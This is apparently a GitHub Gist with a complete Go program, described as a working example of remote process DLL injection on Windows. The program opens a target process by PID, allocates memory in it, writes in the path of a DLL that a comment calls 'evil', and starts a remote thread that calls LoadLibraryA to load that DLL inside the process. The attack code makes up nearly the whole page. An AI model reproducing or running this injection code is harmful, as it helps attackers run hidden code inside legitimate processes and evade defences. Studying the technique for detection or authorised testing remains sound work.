Last active
January 31, 2025 13:22
-
-
Save timsonner/a8fbe39c1327b9e954b15f2d44def6c9 to your computer and use it in GitHub Desktop.
GoLang. Working example of remote process DLL injection.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "os" | |
| "strconv" | |
| "syscall" | |
| "unsafe" | |
| ) | |
| const ( | |
| FALSE = 0 | |
| PROCESS_QUERY_INFORMATION = 0x0400 | |
| PROCESS_VM_WRITE = 0x0020 | |
| PROCESS_VM_OPERATION = 0x0008 | |
| PROCESS_CREATE_THREAD = 0x0002 | |
| PAGE_EXECUTE_READWRITE = 0x40 | |
| PAGE_READ_WRITE = 0x00000004 | |
| MEM_RESERVE = 0x00002000 | |
| MEM_COMMIT = 0x00001000 | |
| MEM_RELEASE = 0x8000 | |
| PROCESS_ALL_ACCESS = PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | |
| ) | |
| var ( | |
| targetDll = "C:\\meow.dll" | |
| dllLength = len(targetDll) | |
| kernel32 = syscall.NewLazyDLL("kernel32.dll") | |
| loadLibraryA = kernel32.NewProc("LoadLibraryA") | |
| openProcess = kernel32.NewProc("OpenProcess") | |
| writeProcessMemory = kernel32.NewProc("WriteProcessMemory") | |
| createRemoteThread = kernel32.NewProc("CreateRemoteThread") | |
| closeHandle = kernel32.NewProc("CloseHandle") | |
| virtualAllocEx = kernel32.NewProc("VirtualAllocEx") | |
| virtualFreeEx = kernel32.NewProc("VirtualFreeEx") | |
| ) | |
| func main() { | |
| // parse process ID | |
| if len(os.Args) < 2 { | |
| fmt.Println("PID not found :( exiting...") | |
| return | |
| } | |
| pid, err := strconv.Atoi(os.Args[1]) | |
| if err != nil { | |
| fmt.Println("Invalid PID:", os.Args[1]) | |
| return | |
| } | |
| fmt.Printf("PID: %d\n", pid) | |
| // open process | |
| ph, op2, err := openProcess.Call(PROCESS_ALL_ACCESS, FALSE, uintptr(pid)) | |
| if err != nil { | |
| fmt.Println("Results of openProcess:", err) | |
| } | |
| if ph == 0 { | |
| fmt.Println("Failed to open process") | |
| return | |
| } | |
| fmt.Println("Process handle:", ph) | |
| fmt.Println(op2) | |
| defer closeHandle.Call(ph) | |
| rb, va2, err := virtualAllocEx.Call( | |
| uintptr(ph), | |
| 0, | |
| uintptr(uintptr(dllLength)), | |
| uintptr(MEM_RESERVE|MEM_COMMIT), | |
| uintptr(PAGE_READ_WRITE), | |
| ) | |
| if err != nil { | |
| fmt.Println("Results of virtualAllocEx:", err) | |
| } | |
| if rb == 0 { | |
| fmt.Println("Failed to allocate memory") | |
| return | |
| } | |
| fmt.Println(rb) | |
| fmt.Println(va2) | |
| defer virtualFreeEx.Call(rb, 0, MEM_RELEASE) | |
| // copy evil DLL between processes | |
| dllPtr, err := syscall.BytePtrFromString(targetDll) | |
| wp1, wp2, err := writeProcessMemory.Call(ph, rb, uintptr(unsafe.Pointer(dllPtr)), uintptr(dllLength), 0) | |
| if err != nil { | |
| fmt.Println("Results of writeProcessMemory:", err) | |
| } | |
| fmt.Println(wp1) | |
| fmt.Println(wp2) | |
| // start new thread | |
| crt1, crt2, err := createRemoteThread.Call( | |
| ph, | |
| 0, | |
| 0, | |
| uintptr(loadLibraryA.Addr()), | |
| rb, | |
| 0, | |
| 0, | |
| ) | |
| if err != nil { | |
| fmt.Println("Results of createRemoteThread:", err) | |
| } | |
| fmt.Println(crt1) | |
| fmt.Println(crt2) | |
| // This will keep the golang script alive... if thats what you want. | |
| // wfso, err := syscall.WaitForSingleObject(syscall.Handle(crt1), syscall.INFINITE) | |
| // if err != nil { | |
| // fmt.Println("Results of WaitForSingleObject", err) | |
| // } | |
| // fmt.Println(wfso) | |
| fmt.Println("\n--- Additional Logging ---") | |
| fmt.Println("targetDll:", targetDll) | |
| fmt.Println("dllLength:", dllLength) | |
| fmt.Println("dllPtr:", dllPtr) | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment